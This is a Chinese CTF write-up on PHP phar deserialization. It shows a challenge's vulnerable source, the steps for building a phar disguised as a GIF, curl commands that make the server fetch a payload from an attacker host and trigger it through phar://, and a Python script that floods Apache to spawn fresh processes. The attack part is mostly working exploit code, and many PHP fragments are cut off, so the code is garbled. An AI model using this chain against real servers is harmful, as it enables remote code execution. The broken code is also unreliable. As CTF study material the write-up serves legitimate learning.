参考文献:https://xz.aliyun.com/t/2715
https://www.jianshu.com/p/19e3ee990cb7
一个标志,格式为xxx
,前面内容不限,但必须以__HALT_COMPILER();?>
来结尾,否则phar
扩展将无法识别这个文件为phar
文件。
ps:要将php.ini
中的 phar.readonly
选项设置为Off
。
序列化
startBuffering();
$phar->setStub(""); //设置stub
$o = new TestObject();
$o -> data='sheng';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
data;
}
}
include('phar://phar.phar');
?>
startBuffering();
$phar -> setStub('GIF89a'.''); #设置stub,增加gif文件头
$phar ->addFromString('test.txt','test'); #添加要压缩的文件
$object = new TestObject();
$object -> data = 'sheng';
$phar -> setMetadata($object); #将自定义meta-data存入manifest
$phar -> stopBuffering();
?>
源码
avatar = $path;
}
}
class Admin extends User {
function __destruct() {
$random = bin2hex(openssl_random_pseudo_bytes(32));
eval("function my_function_$random() {"
. " global \$FLAG; \$FLAG();"
. "}");
$_GET["lucky"]();
}
}
function check_session() {
global $SECRET;
$data = $_COOKIE["session-data"];
list($data, $hmac) = explode("-----", $data, 2); #从cookie中取出data和hmac签名
if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac)){ #判空
die("Bye");
}
if (!hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac)) {#判断data加密之后和hmac签名是否对应
die("Bye Bye");
}
$data = unserialize($data); #反序列化
if (!isset($data->avatar)){ #如果反序列化之后的data包含的类中无avatar成员,退出
die("Bye Bye Bye");
}
return $data->avatar;
}
function upload($path) {
$data = file_get_contents($_GET["url"] . "/avatar.gif");
if (substr($data, 0, 6) !== "GIF89a") {
die("Fuck off");
}
file_put_contents($path . "/avatar.gif", $data);
die("Upload OK");
}
function show($path) {
if (!file_exists($path . "/avatar.gif")) {
$path = "/var/www/html";
}
header("Content-Type: image/gif");
die(file_get_contents($path . "/avatar.gif"));
}
$mode = $_GET["m"];
if ($mode == "upload") {
upload(check_session()); #从cookie中提取data反序列化后的avatar成员并将其内容作为路径, 请求url中的内容写到该路径下的avatar.gif文件中
} else if ($mode == "show") {
show(check_session()); #从cookie中提取data反序列化后的avatar成员并将其内容作为路径, 展示该目录下的avatar.gif
} else {
highlight_file(__FILE__);
}
思路
解题过程
phar
文件,之后使用phar
解析,反序列化之后从而进入Admin
类中的__destruct
方法.setMetadata(new Admin());
$p->setStub('GIF89a');
rename(__DIR__ . '/avatar.phar', __DIR__ . '/avatar.gif');
?>
avatar.gif
上传,之后会出现另一个难点.$FLAG = create_function("", 'die(
/read_flag);');
$FLAG
是通过create_function
创建的,并且没有函数名。但这个匿名函数是有名字的,格式是\x00lambda_%d
。其中%d
会从1一直进行递增,表示这是当前进程中第几个匿名函数。因此如果开启一个新的php进程
,那么这个匿名函数就是\x00lambda_1
,所以通过向Pre-fork
模式的apache服务器
发送大量请求,致使apache
开启新的进程来处理请求,那么luck=%00lambda_1
就可以执行函数了.
$ curl http://127.0.0.1/baby.php --cookie-jar cookie
$ curl -b cookie 'http://127.0.0.1/baby.php/?m=upload&url=http://xxx.xxx.xxx.xxx/avatar.gif'
$ python fork.py &
$ curl -b cookie "http://127.0.0.1/baby.php/?m=upload&url=phar:///var/www/data/$MD5_IP/&lucky=%00lambda_1"
fork.py
# coding: UTF-8
# Author: [email protected]
import requests
import socket
import time
from multiprocessing.dummy import Pool as ThreadPool
try:
requests.packages.urllib3.disable_warnings()
except:
pass
def run(i):
while 1:
HOST = 'x.x.x.x'
PORT = 80
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.sendall('GET / HTTP/1.1\nHost: xxxxx\nConnection: Keep-Alive\n\n')
# s.close()
print 'ok'
time.sleep(0.5)
i = 8
pool = ThreadPool( i )
result = pool.map_async( run, range(i) ).get(0xffff)